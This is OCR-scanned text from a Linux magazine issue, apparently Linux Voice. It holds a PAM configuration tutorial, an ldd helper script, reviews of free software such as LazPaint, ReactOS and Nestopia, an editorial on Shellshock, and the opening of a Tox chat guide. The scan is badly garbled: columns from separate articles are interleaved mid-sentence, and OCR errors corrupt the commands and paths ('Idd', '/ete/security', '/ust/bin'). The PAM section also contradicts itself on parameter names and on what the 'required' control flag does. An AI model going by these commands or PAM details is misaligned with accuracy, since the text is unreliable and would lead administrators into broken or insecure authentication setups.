at least one account to this group, for example: 
# usermod -G wheel chris 


The stack now says that if you’re a member of 
the wheel group you can su to root without needing 
to authenticate at all. Try it! 


Wait! There's more! 

It turns out there's more to PAM 
configuration than simply assembling 
stacks of modules. For a start, many PAM 
modules can be passed parameters 
(specified within the PAM config file). Let's 
look at a couple of examples: 

The pam_cracklib module (which does 
password strength checking and is usually 
found in the password stack) accepts a 
parameter like minlen=9 that specifies the 
minimum password length; it also accepts 
retry=3, which says to give the user three 
attempts to enter an acceptable password. 
So you might see a line like this: 
password required pam_cracklib retry=3 
minlength=9 

Going a step further, some PAM modules 
have their own configuration files. For 
example, pam_time (which implements 
time-of-day access control) reads its 
configuration from /ete/security/time.conf, 
where you might find rules of breathtaking 
obscurity, such as this: 
login ; * ; !fred ; MoTuWe0800-2000 

By the way, although pam_time plays its 
part in determining whether a user is 
allowed to log in, it is not concerned with 
authenticating the user, and so it belongs in 
the account stack, not the auth stack. 

In most cases the PAM modules have 
man pages that document these 
parameters. (The command apropos pam 
may help get you a list of these.) Sometimes 
the individual config files have man pages 
too. In some cases the documentation is a 


PAM control flags 


Controlflag | Whatitmeans 


If the module succeeds, the stack succeeds and no further modules are called 
If the module fails, the stack will fail, but remaining modules will be called 


PAM-aware program (eg login) 


auth account password session 
Stacks of PAM = 
modules 
(in/lib64/security) 


sufficient 

required 

requisite If the module fails, the stack will fail; no more modules are called 
optional Success or failure of the module is ignored 

include Include a piece of stack defined in a separate file 


PAM-aware applications assemble stacks of modules to implement their security policy, under 
control of a configuration file in /etc/pam.d. 


to ask why you should care. Well, I'd wager 
that many system administrators actually 


little thin on the ground, but it’s a very great 
deal better now than it was in the early days 


of PAM. don't care — they leave their default PAM 
configurations well alone. But there may be 
Why bother? times when you need to bring extra PAM 


modules into play to implement pieces of 
your security policy, such as “users are only 
allowed to log in between 10am and 4pm on 


It's when you get down into the details of 
PAM — the control flags and the large range 
of modules with their parameters and config 
files — that you start to get a feel for its 
complexity. And since Linux distributions 
invariably include working PAM 
configurations out of the box it's reasonable 


UbuntuSoftware Other Software Updates Authentication Additional Drivers 
Install updates From: 
Important security updates (trusty-security) 
Recommended updates (trusty-updates) 
”) Pre-released updates (trusty-proposed) 
Unsupported updates (trusty-backports) 


‘Automatically check For updates: Daily 
When there are security updates: | Displayimmediately 


Download automatically 
When there are other updates: 


Notify me of anew Ubuntu version: For long-term support versions . 


Revert Close 


On Ubuntu there are four of the “common” files 
(common-auth, common-account, common- 
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session and common-password). 
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Mondays and Tuesdays” or “passwords 
must be a minimum of 10 characters with 
three character classes”. Or you might need 
to augment your login process to include 
user accounts stored in a Windows Active 
Directory (via the winbind daemon). Or 
maybe you're plagued by brute-force login 
attempts from a specific host and would like 
to block them. There are PAM modules to do 
all of these things. 


Getting to grips with the control flags 

I've been trying hard to avoid a proper 
discussion of the control flags in PAM 
because, frankly, they are painful and | don't 
like to inflict pain. But they have a major 
impact in the way PAM stacks work and we 
can't really ignore them. There are two styles 
of syntax for defining the control flags — a 
simple one and a more complicated one. 


Don't leave home without the key 


A word of warning if you're playing around with 
your PAM set-up. It is extremely easy to create 
a configuration which won't let you log in at 

all. To reduce the risk of locking yourself out 

of your house and ending up doing a rescue 
boot, | strongly recommend that you keep a 
root login open (maybe on a text-based console 
terminal or maybe an ssh login from another 
machine) until you're confident that your new 
configuration works. You can test PAM (mostly) 
by logging in on a console terminal or by doing 
an ssh login to localhost. Alternatively, test 
your configuration on a virtual machine with a 
snapshot you can drop back to. 


PAM's four management classes 


[Stack | Whatitsfor 


auth 
account 
password 
session 


CORETECHNOLOGY V 


Verifies the credentials of a user (logging in) 

Account management (eg account expiry or time-of-day restrictions) 
Password management (changing your password) 

Session management (anything else you want to do when a user logs in) 


We'll take the simple syntax first — it uses 
the four keywords sufficient, required, 
requisite and optional. Recall that each PAM 
module returns a ‘success’ or ‘failure’ status. 
The control flags specify how the status 
returned by the individual modules in a stack 
contributes to the success or failure of the 
stack as a whole. Consider a stack such as 
the example we showed earlier, in which all 
modules in the stack are ‘required’. Then all 
modules must succeed for the stack to 
succeed. This seems to me the most 
straightforward and obvious way for 
modules to combine. 

The required flag is similar, but, if a 
module fails, the stack is immediately 
abandoned — later modules are not invoked. 
The sufficient flag does what it says on the 
tin — if the module succeeds, the stack will 
succeed and later modules are not called. 
Finally, the optional flag means that the 
return status of the module is ignored. This 
flag is often found within the session stack, 
where modules are called for their side 
effect (such as setting environment 
variables or creating an initial home 


Command of the month: Idd 


The Idd command answers the question 
“Which libraries does this application use?”. 
Here's a simple example: 
# Idd /bin/bash 
linux-vdso.so.1 => 
libtinfo.so.5 => /lib64/libtinfo.so.5 
libdl.so.2 => /lib64/libdl.so.2 
libc.so.6 => /lib64/libc.so.6 
/ib64/ld-linux-x86-64.so.2 
It's not at first sight the most exciting of 
commands, but there are some quirks here 
that you can uncover, expecially if you wrap 
a little shell scripting around it to answer the 
opposite question: “Which programs are 
linked against this library?” 
Here's the script | came up with — it could 
be spruced up in several ways but it does 
the basic job: 


#!/bin/bash 

# Script “whatuses” 

# Finds which executables are linked against a given 
library 


lib=$1 
for x in /usr/bin/* # Better to traverse entire SPATH 
do 
if Idd $x 2> /dev/null | grep $lib > /dev/null 2>&1 
then 
echo $x uses $lib 
fi 
done 
Here are a couple of examples. First, 
there's an access control mechanism called 
‘TCP wrappers’, which is implemented by the 
library libwrap.so. So we can answer the 
question “Which apps use TCP wrappers?” 
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directory) rather than for a yes/no decision. 
There's a more complex syntax that can be 
used for the control flags, which gives you 
finer grain control over querying the return 
status of a PAM module, and more options 
on deciding what to do in each case. This 
form of control flag consists of a series of 
status=action pairs, in square brackets. 
Here's an example: 
auth [user_unknown=ignore success=ok default=bad] 
pam_securetty.so 

This example is being used to distinguish 
the case where the username is unknown 
from the case where the module's ‘secure 
tty’ test fails, and to react differently in the 
two cases. The return status values are not 
well documented. These extensions, which 
almost turn PAM configuration into a 
programming language in its own right, are 
difficult to get your head round, and (I'm 
pleased to say) don’t seem to be very 
common in modern PAM configurations. 

So there you have it. Next time the 
conversation in the pub turns to PAM, you 
can smile enigmatically and say “ah yes, | 
know PAM well!” @ 


like this: 
./whatuses libwrap 
/ust/bin/empathy uses libwrap 
/usr/bin/gnome-shell uses libwrap 
/usr/bin/pulseaudio uses libwrap 
/usr/bin/vinagre uses libwrap 

I've edited most of the output for brevity. 
Or we can ask “Which apps are PAM-aware?” 
by looking for linkage against libpam: 
# ./whatuses libpam 
/usr/bin/at uses libpam 
/usr/bin/login uses libpam 
/ust/bin/passwd uses libpam 
/ust/bin/su uses libpam 
/ust/bin/vncpasswd uses libpam 

Again, the output is trimmed — Linux 
dependencies can get complicated, but Idd 
can help make sense of them! 
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FOSSpicks 


, Mike Saunders has spent a decade mining the internet for free 
rawmae. software treasures. Here's the result of his latest haul... 


Image editor 


LazPaint 6.2 


azPaint is an image editor 
L somewhat akin to Paint. NET 

on Windows. Its name stems 
from the IDE used to build the 
program — Lazarus — which lets 
developers write applications in 
Object Pascal. Unusually, Lazarus 
can build the same program using 
different graphical toolkits, so in the 
downloads section for LazPaint 
(hosted on SourceForge) you can 
find pre-compiled binaries using Gtk 
and Qt. This helps the app to fit in 
better with your desktop, so it won't 
look ugly in Gnome, Xfce or KDE. 

We used the Gtk version, and our 

main gripe with the interface is the 
tiny toolbar buttons and other 
controls. On a high-resolution 
display, they’re almost comically 
small and hard to make out. Still, 
they all have decent tooltips, so 
after a few minutes of hovering the 
mouse and making mental notes, 
the interface becomes usable. 


x — 0 640x480 - LazPaint 6.2 (64-bit) 
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Like Gimp, LazPaint is a bitmap 
image editor with various tools for 
creating shapes, transformation 
effects (such as rotation and 
resampling) and multiple-level 
undo/redo. Extra dialogs for 
managing layers, colours and 
additional tools are available via the 
View menu — and from here, you 
can also enable a grid that's 
displayed over the image when 
zoomed in. This is particularly 
useful if you're making per-pixel 
edits to an image, as is common in 
video game sprite work. 

Also like Gimp, LazPaint has a 
bunch of filters including blurs, 
sharpen, emboss and contour. The 
range isn't as extensive as Gimp's, 


@o 3D object 


Sparkling gems and new 
releases from the world of 
Free and Open Source Software 


Rendering | Materials 
| Materials : 

| rgb(0,0,0) 

| rgb(226,144,144) 

|| rgb(255,0,0) 


| rab(128 50.8) 
Selected material 


Spec. index {bp = 
| Color: B 

| Opacity: | 255 > 
| |Texture...| | No tex. | 


Cancel 


LazPaint can import 3D models, such as this sinister Mario head. 


“Like Gimp, LazPaint is a bitmap 
image editor with various tools 
for creating shapes and effects.” 


575,464 | @ |Pen MO [| G3 Back ff192 [§] 100% | 


x Tools 


{ 
+ 


The teensy-tiny toolbar 
is really fiddly to work 
with at first, but at least 
the buttons have 
tooltips. 
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and some of them threw up bizarre 
error messages in our testing 
(‘Access violation” anyone?) but on 
the whole they work well. It's also 
possible to render various textures 
from inside the program, and even 
import 3D models. Along with its 
native .Izp format, LazPaint can also 
save images to PNG, JPEG, TGA, 
TIFF, BMP and other formats. 

In all, LazPaint isn't as feature- 
packed as Gimp, which might lead 
many to ask: what's the point of it? 
Well, if you're happy with Gimp's 
interface, fair enough. But we know 
that a lot of people don't like how 
Gimp looks and works, and LazPaint 
provides a great deal of the same 
functionality with a simpler (and 
arguably more approachable) 
design. So we're glad there's some 
more variety in our choice of Linux 
image editings. 


PROJECT WEBSITE 
www.facebook.com/LazPaint 


Operating system 


FOSSPICKS V 


ReactOS 0.3.16 


or all its successes, Free 
F Software is especially good 
at cloning existing projects. 

This doesn't mean there's a lack of 
imagination — just that it’s often 
better to re-use an existing design 
rather than re-invent the wheel 
every time. Richard Stallman took 
this exact approach when creating 
GNU, which is famously “not Unix" 
but based very closely on the 
design and structure of that OS. 

Now, ReactOS is a Free Software 
clone of Windows, aiming to be 
compatible with that OS's 
applications and hardware drivers. 
It's debatable whether Windows is a 
sensible design to copy, but in any 
case, the goal is that we'll all have a 
free (as in freedom and beer) OS on 
which to run legacy Windows 
applications. ReactOS has been in 
development since the late 90s, and 
we take a peek at it every few years 
to see how it's shaping up. 

Helpfully, the development team 
makes it available in various 
formats: a live CD image, an 
installation CD image, and virtual 


albeit with plenty of rough edges 
and various missing pieces. fle Yen Wedow Took Heb =lalxl 
|@BS@Q8O0|- == 7 || Breve Bate Owe  Onrodi 


Most of the standard Windows — 


tools are available though: a re] S @ @ & am 
command line prompt, text editor, Accessibility ‘ints Display Add Internet Regional 


ees eon eS ess 
Paint-like program, Control Panel @e eae @ 
and so forth. And while many of “a ee me 
these have been created from ot ls mn 

scratch for ReactOS, a great deal of paras 

code has been taking from the Wine 

project, which helps to cut down on 
duplication of effort. 


controlrs 


oe a @ 


Mouse Keyboard 


In many parts, 
ReactOS's interface is a 
pixel-perfect clone of 
Windows 9x/2000, 
which could get 
Microsoft grumbling 
one day. 


How's your luck? 

So, the big question is: how good is 
the compatibility? It's a mixed bag, 
and programs that don't run well on 
Wine (see https://appdb.winehq. 
org) tend to break on ReactOS too, 
in our experience. You'll have more 
luck with early-2000s applications, 
as support for the Windows API of 
that time is more complete — many 
recent programs simply won't start 
at all. Still, ReactOS isn't short of 
software, thanks to an Application 


In the last couple of years, the 
ReactOS team has tried to boost 
interest and contribution from the 
wider open source community with 
fundraising projects. Ultimately, we 
hink it would progress more 
quickly with some solid commercial 
backing — but we can understand 
hat many companies don't want to 
ouch it with a 50ft barge pole, in 
case Microsoft tries to stomp it 
down with legal action. 

Nonetheless, ReactOS is an 


Manager that downloads (mostly 
open source) Windows programs 
from the web and installs them. So 


impressive effort and deserves 
more fame. Hopefully it will reach a 
level of sufficient stability and 


hard drive images for VMware and 
VirtualBox. We took the latter for a 
spin, which worked fairly well, 
although it booted into a terrible 
16-colour mode that looked 
completely pants. A quick tweak in 
the Control Panel soon sorted that 
out, however. By and large, ReactOS 
looks and feels like Windows 2000, 


you can get Firefox, AbiWord, chat 
clients, various games and other 
system tools with just a few clicks. 


completeness to run most older 
Windows XP programs without 
problems, to help those who don't 
want to “upgrade” to Windows 
7/8/10 and can't switch to Linux for 
whatever reasons. 


“ReactO$S isn't short of software, 
thanks to Application Manager that 


downloads programs from the web.” 


How it works: Adding applications 


& ReactOS Applications Manager 


PE yAdministrative Tools 
Bistater 


Placcesstaity Ama Me 

[accessories ® Installed a] 
Bhientertainment (Fe arptcations 1,0.9 Beta _IndFTPD isa standalo 

Picanes (evdates 0.10.24 Open source mukiprot | 


1} Avallable for installation 6.35 The most popular cler x86 operating system 


[Elorecte vm virtualBox Guest Additions 


SA udio 7.96 _The most popu dey MikeOS is an operating system for x86 PCs, 
(Gj veo written in assembly language. It is a learning 
tool to show how simple 16-bit, real-mode ; 
A ‘rics 3.0.19 The most popular and Ses work: with yell comreertad code aod) F 
i extensive documentation. Features: 4 
“*|Games & Fun 3.6.28 The most popular and = 
+ Atext-mode dialog and menu-driven = 
[ie aes (B internet & Network 32.0.1 The most popular and ie leaenece ee 
Paeieee WY ote ses ie ae att + Boostomatemydskconomoruss Es} gE 
es (@ development of + Oso system cals ose yt pay 
program: 
Bb revortes Uff) Edutainment Mozila Firefox 2.0 puerta ien ecice knage Veuee} 
Menu Searching Install 


ReactOS isn’t supplied with a web browser, 
so go to Start > Programs > ReactOS Applications 
Manager to bring up the software exploration tool. 


Go into the Internet & Network category on the 
left. Various versions of Firefox are available — in our 
experience, the older ones tend to work more reliably. 


After you've selected a version, click Install in 
the top-left and the program will be retrieved from 
the web. You'll then find it in the Start menu. 
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Window manager 


Window Maker 0.95.6 


teve Jobs will be 
remembered for many 
things: shiny iGadgets by 


most people, and a purveyor of 
walled garden “digital prisons” by 
some in the Free Software camp. 
But one of Jobs's lesser known 
creations is Next, a computer 
company he built after being 
booted out of Apple. Next sold 
tremendously powerful (and equally 
expensive at $9,999) workstation 
machines that never achieved 
widespread popularity, but left their 
mark on the industry. The first ever 
web browser was written on a Next 
box, for instance. 

Anyway, the Next operating 
system had an attractive and novel 
interface that's significantly 
different to the usual taskbar-plus- 
program menu approach we're all 
familiar with. Window Maker apes 
this very closely, while providing 


extra graphical fluff including 
themes and gradients. This window 


manager hasn't seen a great deal of 


activity in recent years, but given 
that it was one of our favourites in 
the early 2000s, we're glad to see 
it's still receiving minor updates. 

Window Maker is all about the 
dock in the top-right corner. Try 
right-clicking on the desktop to 
bring up a program menu, launch 
something, and then drag its icon 
(usually found in the bottom-left of 
the screen) onto the dock. This will 
save it as a launcher for later. You 
can slide the dock around by 
clicking and dragging on the top 
icon, and change launch settings 
for the icons via right-click context 
menus. A configuration tool is 
provided for setting up the window 
manager — so you can customise it 
without having to manually edit 
config files. 


Trimmed-down systemd alternative 


uselessd 2 


espite the fact that Systemd 
D has been adopted by almost 

every major distro, internet 
debates are still raging about it. 
Proponents say it simplifies and 
streamlines the Linux boot process, 
providing extra features for process 
isolation and logging. Conversely, 
critics say It violates long-time Unix 
principles and it's swallowing up too 
much functionality that should be 
left in other components. 

Uselessd, which could be 
described as “useless” or the 
daemon that “uses less” according 
to the developer, is a fork of 
Systemd that aims to bring it back 
to basics. The idea is that Systemd 
is actually good for some things 
— namely booting the system, 
starting services, managing 
dependencies between them and 
making sure they don't exceed their 


70 


resource limits — but that’s it. Unlike 
Systemd, Uselessd won't keep 
growing and taking over other parts 
of the core system, such as logins 
and network management. 

There are some other changes 
too. Uselessd doesn't use the 
controversial Journald system by 
default, instead logging to plain text 
files in the usual Unix way. Yes, 
some Journald supporters say that 
the binary format is actually better, 
as much more metadata is stored 
and you can perform complex 
searches without a zillion grep 
commands and regular 
expressions. But many still prefer 
the plain text syslog. In addition, 


V_ FOSSPICKS 


= 
A 
4 Applications 


Run... 


a] Appearance 


Workspaces 
Workspace 
Config 


Exit Window Maker 


Window Maker is highly 
customisable, and easy 
to tweak thanks to the 
supplied config tool. 


Window Maker is fast, fluid and 
attractive, providing a genuinely 
fresh approach to the desktop. It's 
way less demanding on the RAM 
banks than the big desktops such 
as KDE and Gnome, but is still more 
approachable and easy to 
customise than the ultra-minimal 
window managers. We hope it 
stays around for years to come. 


PROJECT WEBSITE 
www. windowmaker.org 


Like much of the project, Uselessa's logo mocks the original 
systemd, here implying that the latter includes the kitchen sink. 


Uselessd aims to be more portable, 
working with other C libraries than 
just Glibc. The goal is to purge 
Systemd of “GNUisms’ — in other 
words, things that lock it deeply into 


“y selessd is a fork of Systemd th at the GNU/Linux ecosystem. 


aims to bring it back to basics.” 


PROJECT WEBSITE 
http://uselessd.darknedgy.net 
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Nintendo Entertainment System emulator 


Nestopia 1.46.1 


here are two types of 
console emulator user: 
those who just like to 


indulge in nostalgia for a moment, 
and hardcore players who demand 
that everything is exactly like the 
original — no exceptions. Nestopia is 
geared towards the latter group of 
users, with an intense focus on 
emulating the NES hardware as 
accurately as possible. You may 
have played other NES emulators 
before, and not noticed anything 
odd, but some emulators take 
barely-noticeable shortcuts to 
improve performance. 

Nestopia, however, strives to be 
“cycle accurate”, in other words, 
with every emulated 6502 CPU 
cycle, it emulates the activity of all 
the other hardware components, to 
keep the virtual NES running in 
perfect sync. Most of us wouldn't 
notice this, but for some NES 


Vim status bar upgrade 


fanatics, it's vital for delivering the 
most realistic emulation. But this 
comes at a cost — Nestopia 
consistently used 30% of our CPU 
(emulating Super Mario Bros 3), 
which is a fair chunk on a 2.5GHz 
Core i5 machine. 

Outside of this focus on 
accuracy, Nestopia is a fine all-round 
emulator too. It's easy to configure 
input devices and video options, 
while save states are also 
supported. You can even record 
gameplay in NSV format, and 
convert It toa more mainstream 
format using external tools. This is 
great if you're rather hot at a certain 
game, and want to upload your 
skills to YouTube. 


With some tweaks to 
the video output 
settings, you can create 
the lovely old fuzzy CRT 
TV effect. 


“Nestopia aims to provide ‘cycle 
accurate’ NES emulation.’ 


Vim-airline 


ome people are put off from 

learning Vim because of its 

horrendously steep learning 
curve, which is a shame, because 
i's a fantastic editor when you've 
mastered it. Others have tried 
battling through Vimtutor but still 
found the editor horrendously bare 
and terse — like it doesn't even try to 
make you feel welcome. Yes, Vim 
out-of-the-box isn't very pleasant, 
but once you've added the ruler, 
status line, syntax highlighting, line 
numbers, highlighted searches and 
other features, it quickly becomes 
more livable. 

Vir-airline is a plugin that goes a 
step further, replacing the stock 
status line with one that’s much 
prettier and more informative. You 
can install it using a variety of Vim 
plugin managers — such as 
Pathogen, Vundle and VAM — or 


install it manually by copying its 
files into .vim in your home 
directory. Because we were already 
using Pathogen, we just needed 
to enter: 
git clone https://github.com/bling/ 
vim-airline ~/.vim/bundle/vim-airline 
After starting Vim, however, we 
saw the new status line but it didn’t 
have any colour (in Xfce-Terminal). lf 
you have a similar problem, add this 
to the start of your .vimre: 
set t_Co=256 
Now you should see Airline in all 
its glory. The default theme is rather 
garish and might not work well with 
your colour scheme, so to fix this, 
go into ~/.vim/bundle/vim-airline/ 
autoload/airline/themes/ and take 
alook around. To activate the 
theme ‘powerlineish’, for instance, 
add this to your .vimre: 
let g:airline_theme = ‘powerlineish’ 
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retch Aspect Ratio 
(© unlimited sprites 


Cheats are supported, using 
Game Genie and Pro Action Rocky 
codes, and there's an impressive 
range of options for configuring the 
video output. The defaults are fine 
for regular NES emulation, but you 
can also smooth out jaggedness 
between pixels using filters — try 
2xSal or HqX to see how it looks. 


PROJECT WEBSITE 
https://github.com/rdanbrook/nestopia 


badwolf theme with bufferline integration 


powerlineish theme 


solarized light 


NORMALE master MUGMIEnS} 
J INSERT 7 master J 
tno 


solarized dark 


Various Airline themes 
in action. Solarized 
works well with the Vim 
colour scheme of the 
same name. 
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Airline shows your current mode 
(and changes colour depending on 
the mode), the file you're editing, its 
encoding, along with your position 
in the file (line, column and 
percentage). If you're using tabs, 
you can also spruce up your tab bar 
by adding this to your .vimre: 
let g:airline#extensions#tabline#enabled = 1 


PROJECT WEBSITE 


https://github.com/bling/vim-airline 
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Diary editor 


V_ FOSSPICKS 


Almanah 0.11.0 — 
a a | {ab} | Tuesday, 30 September 2014 + a @ 


ear diary, today | spent 
several hours trying to 
compile programs from 


source code, frequently coming up 
against missing dependencies, 
compilation errors and segfaults. 
Just when | thought one program 
had built correctly, | started it and 
received around 3,000 lines of 
Python error messages before the 
whole thing crashed out 
spectacularly. Why, diary, does it 
have to be this way? Why can't 
programs be nice and easy to 
install, like Almanah? 

Yes, this is a diary editing 
program — essentially a custom 
text editor with journal-keeping- 
related features. To build it you 
need libsqlite3-dev, libcryptui-dev 
and libgpgme1 1-dev. With those in 
place, installing it was a cinch with 
the ./configure, make and make 
install (as root) procedure. 


Web browser 


Dear Diary, 
: ’ Today the most horrible thing happened. | can barely bring myself to 
After starting the app, you re write about it, and I'm still shaking now. Just thinking about it is agony... 
. Who knew that human beings could suffer so much? Yes, it's true - the 
presented with an empty entry for worst thing imaginable... 


today. The single button in the | ran out of Wei8bier :-( -( =( 
top-left provides some basic 
formatting facilities — bold, italic 
and underline — but there’s no undo 
or redo for text editing operations, > Past events 
annoyingly. Next to the formatting 
button is a date; click that and you 
can jump to other diary entries (if 
you've written them). There's also a 


Almanah Preferences 


Encryption key: | Mike Saunders <ok... 


Enable spell checking 


Don’t want the world to 


see your heart- text format, with each day stored in 


star button that you can use to pourings? Encrypt your @ separate file (using YYYY-MM-DD 
mark certain diary entries as database using your filenames), or print it out. 
especially important. PGP key. Of course, if your diary contains 

To help organise diary entries, plenty of juicy secrets you'll want to 
you can apply tags to them, and keep it safe: to help with this, 
even attach links to files and web Alamanah can encrypt it using your 
addresses via the cog menu. It's PGP key. Click the Almanah Diary 
possible to export the diary in plain menu and then Preferences to set 

it up. 
a . 
Almanah can encrypt your diay eee 


entries using your PGP key.’ Pale pea as 


File i ols Hel 
U p | Cl | |_| DF © oupzita cit © oupzita wiki issues (@ QupZilla Blog QupZilla Home 


upZilla is a Qt-based browser 

using WebKit as its 

rendering engine, designed 
to provide a good out-of-the-box 
experience without the need for 
extra plugins and extensions. 

To build it from the source code, 
you'll need development libraries for 
Qt (at least version 4.7) and 
OpenSSL installed. Then run qmake 
followed by make, and if it compiles 
successfully, run make install as 
root to place it in your filesystem. 
Then you can start it by just 
entering qupzilla. 
Interface-wise, it's pretty standard 
fare; there's nothing especially 
original that leaps out at you, and 
the speed dial-type interface on 
new tabs has been done before. 
Ex-Firefox users who were miffed by 
the Australis UI revamp will be 
happy with QupZilla’s layout — it 
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® cupzilla 
doesn't try to chase Chrome in every 
direction. In terms of memory El cere sere 
consumption, it was on a par with 
Firefox in our testing, and slightly 
lighter with many tabs open. 


EB keyboard shortcuts 


QupZilla is supplied with a gaggle Bl dowonts 
of useful extras, such as an advert * 
blocker. This uses the EasyList from 
Adblock Plus — so it's very effective. 
There's also a combined history, 
bookmarks and RSS view, which 


QupZilla is bundled with 
a handful of extensions, 
including the ever- 


(DNT) header. The latter is a bit 
controversial though: if all browsers 


can be brought up with Ctrl+Shift+H, 
and having these things together in 


one place works surprisingly well. useful GreaseMonkey. simply enable DNT by default, many 
Another handy feature is the ability users won't hear about it and all 

to take a screenshot of an entire websites will just ignore it. But if 
web page, and save it in various users are told about the feature and 
formats — useful if you want to turn it on themselves, they'll expect 
show a web developer where better conformity from sites. At 
something is broken. least, that's the idea... 


By default, QupZilla uses 
DuckDuckGo for web searches, and 
www.qupzilla.com 
also enables the Do Not Track 
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Space shooting/racing larks 


Galaxy Forces 1.82 


alaxy Forces is essentially 

a souped-up version of 

Thrust, a 1986 classic that 
appeared on pretty much every 
8-bit home computer. And it's all 
about control here: you move a 
spaceship around by hitting the 
cursor keys to rotate it, and up to 
blast your rear thruster. 

However, your ship doesn't 
simply fly in the direction it's 
pointing, due to gravity and 
momentum, so you have to plan 
your movements in advance (or 
perform some nifty rotate-and- 
thrust manoeuvres to slow 
yourself down). It takes a while to 
get the hang of, and you'll find 
yourself crashing into the walls at 
first. But don't give up — once 
you've mastered the controls, 
you'll be wallowing in self- 


Chess game 


Gambit 1. 


unning untrusted scripts 
from the internet, 
especially when they ask 


you to enter your user or root 
password, is a bad idea. Down 
this path lie Windows-esque 
levels of madness. However, tt's 
the simplest way to get Gambit 
up and running: no distro-specific 
packages were available at the 
time of writing, so the developer 
recommends you grab gambit- 
autobuild.sh from the website, 
make It executable, and run it. 
And it works — the script grabbed 
dependencies, retrieved the 
source code, built it, and placed 
the resulting program in Gambit 
inthe home directory. So to play, 
you just need to run 
./gambitchess inside it. 


satisfaction as you cruise gracefully 
around a level, avoiding obstacles 
with pixel-perfect precision. 

Galaxy Forces has 50 levels; the 
first bunch are purely for network- 
based multiplayer combat games, 
while the others can also be played 
alone. These latter levels involve 
racing around a course (trying to 
beat the best times, as listed on the 
game's website) or carrying cargo 
in missions. So there's plenty to do, 
and while the game selection 
interface is incredibly clunky and 
the music is annoyingly repetitive, 
the gameplay itself has been 
well-crafted. 

Note that you need to connect to 
IP address 127.0.0.1 (ie your local 
machine) to start the game, and 
then click the New button to choose 
alevel. Helpfully, the developers 


0 


You're thrown straight into a 
game, controlling the white pieces, 
on a difficulty level of 5 (out of 5). 
We're not skilled enough in chess to 
judge exactly how challenging this 
evel is, but we'd rather Gambit 
defaulted to something in the 
middle — or at least prompt the 
player before the game starts. From 
there, it’s like most other chess 
games, where you click and drag 
pieces to make your move, and the 
computer thinks and responds. 

Various colour schemes are 
available for the board, along with 
animations as the pieces move. 
Excellently, Gambit supports saving 
and loading games in the Portable 
Game Notation (PGN) format, 
which has been around for decades 
and is the de facto standard for 
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FOSSPICKS V 
FOSSPICKS Brain Relaxers 


This might look simple to navigate, but when your craft has so 
much momentum it’s hellishly difficult. 


have made available a pre- 
compiled binary package, with 
executables for both 32-bit and 
64-bit machines. 


PROJECT WEBSITE 
www.galaxy-forces.com 


Gambit's difficulty level 1 isn’t hard to beat — even with our 
limited skills, we soon snaffled the CPU's queen. 


storing chess matches. You can 
even find archives of PGN files on 
the net for classic battles 
between famous players. 


PROJECT WEBSITE 
http://gambitchess.sourceforge.net 
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VOICE 


Has been busy exploiting Shellshock for fun 
and profit. 


t's been a bad few months for 

security on Linux systems. First we 

had Heartbleed and now we've got 
Shellshock. If | were a betting man, I'd 
put some money on another major 
vulnerability before the end of the year. 
But don't worry. It's not time to panic 
just yet. There's no fatal flaw in the 
open source model. These bugs don't 
refute the premise that open source 
software can be better than proprietary 
software. However, there is now a huge 
amount of potentially vulnerable code 
hat hasn't been heavily audited for 
security vulnerabilities. Now that 
security researchers can see that 
here's a huge amount of publicity 
awaiting the next vulnerability, they're 
going to be targeting Linux systems 
more than ever. 

This is a good thing. It means that 

code that's been floating around for 
decades with few people looking at it is 
finally getting some attention. 
Companies that rely on this code are 
realising that they can’t view open 
source as a zero-cost option and that 
they need to contribute to development 
if they want quality software. 
Hopefully, this will mean that there's a 
bit more money for the maintainers of 
such tools, and more money means 
more developers, more testing and 
ultimately more reliable software. 
ben@linuxvoice.com 


+ 
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In this Issue... 


Chatting on To 


Want to chat online without 
being spied on? So does 
Ben Everard, so he protects 
himself with the latest 
encrypted chat system. 


iL 


Open Media Vault 
Linux is built on the 
concept of sharing, so 
Mayank Shama takes a look 


at a NAS distro that helps 
you do just that. 


Fractals 


Creating beautiful code 
normally means well 
written, clear, concise code, but it 
can also mean code that creates 

beautiful images. In a perfect 
world, it means both, and that's 
what we're striving for in this 
introduction to Python — you can 
draw fractals even if you've never 
programmed before. 


Twitterbot 
Send 140-character 
messages across the 
internet using Twitter 


and Python. Les Pounder 
reveals how. 


| al 


Latex 


Valentine Sinitsyn reveals 
the majesty of Latex, a 
powerful text layout engine 
for creating beautiful pages 
with minimal fuss. 


Shellshock 


Learn to exploit the 
vulnerability du jour with 
Ben Everard's guide to the 
Bash bug that almost broke 
the internet. 


Testing 

Proper testing is one of the 

most important parts of 
writing software. However, it’s also 
one of the least exciting. A good 
testing framework can make all 
the difference, so we introduce 
PyUnittest. This module helps you 
create, organise and run your tests 
so you need never release buggy 
software again. 


Mailserver pt2 


John Lane shows you 

how to set up filtering on 

a mail server to keep out 
spam and viruses using 
SpamAssassin and ClamAV. 


David Wheeler 


The concepts that we use 

every day weren't always 
common knowledge. All of them 
were revolutionary at some point, 
and it was in 1949, when working 
on the EDSAC computer in 
Cambridge, that David Wheeler 
solidified the concept of the 
subroutine. Programmers 
everywhere should give thanks. 
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V_ TUTORIAL TOX 


TT GNa TOX: ENCRYPTED P2P 
es COMMUNICATIONS 


The post-Snowdon era of justified paranoia is upon us, 
and it's brought its own software. 


ince Edward Snowden revealed to the world the —_ at you. It's a communications system by the people 

WHY DO THIS? extent of government surveillance on the for the people. 

* Keep your private internet, there has been a drive to create more At the moment, it’s still a little rough around the 
conversations safe . . . an . a) . . 
fomunwanted secure channels to let people communicate in private. — edges, but it is working, and it’s getting better quickly. 
eavesdropping. Tox is an encrypted peer-to-peer chat system (with Here at Linux Voice, we're early adopters, especially 

* Migrate your social audio and video capabilities) that doesn't send your when it comes to software that encourages freedom 
and work contacts data through central servers where it could be tapped. ~—— in every sense of the word — so we've been trying it 
is aL a The lack of a central server also means that there's out. We don't have an awful lot to hide, but that’s not 
networks. no company running it for a profit that could hold your _ the point. Here's our six-step guide to keeping your 

* Blow the whistle on data to ransom or spy on messages to target adverts __ private chats private using the uTox client. 
illegal government 
activities without 
cee Step by step: Setting up a Tox client 
messages. 

@ Get the software B Installing the software 

n order to chat using the Tox network, you'll need to uTox comes as a tar.xz file. To unzip this, you'll first 
install some software to access it. As it's quite new, need to install unxz with your package manager. This 
not many Linux distributions include anything useful usually comes in a package called xz. Once you've got 
in their repositories, so you'll need to install it manually. it, you can extract the archive with: 
Tox is the protocol, and there are a few applications tar xJvf utox_linux_amd64.tar.xz 

hat can access it. There's a list of Tox clients at The J option signifies the xz compression. You may 
https://wiki.tox.im/Binaries. We'll use uTox for this need to change the filename depending on which 

utorial, but feel free to experiment with others. They version you downloaded. 

